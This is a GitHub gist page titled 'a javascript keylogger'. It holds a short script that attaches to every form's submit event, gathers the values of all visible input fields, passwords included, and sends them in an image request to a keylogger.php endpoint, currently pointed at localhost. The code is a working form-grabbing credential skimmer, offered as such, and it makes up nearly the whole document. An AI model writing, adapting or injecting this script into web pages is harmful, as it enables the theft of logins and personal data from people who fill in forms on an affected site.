Skip to content

Instantly share code, notes, and snippets.

@rundongliu
Last active August 19, 2021 14:29
Show Gist options
  • Save rundongliu/840adbc452f377ad6eb8c43539089950 to your computer and use it in GitHub Desktop.
Save rundongliu/840adbc452f377ad6eb8c43539089950 to your computer and use it in GitHub Desktop.
a javascript keylogger
<script>
function post (event) {
var inputs = document.getElementsByTagName("input");
var param = ""
for(var i=0; i < inputs.length; i++)
{
input = inputs[i];
if(input.type=="hidden"|| input.type=="submit")
continue;
if(input.value=="")
continue;
param += input.type+"="+input.value+"&";
}
img = new Image();
img.src = "http://localhost/keylogger.php?"+param;
};
forms = document.getElementsByTagName("form")
for(var i=0; i < forms.length; i++)
{
form = forms[i];
form.addEventListener("submit", post);
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment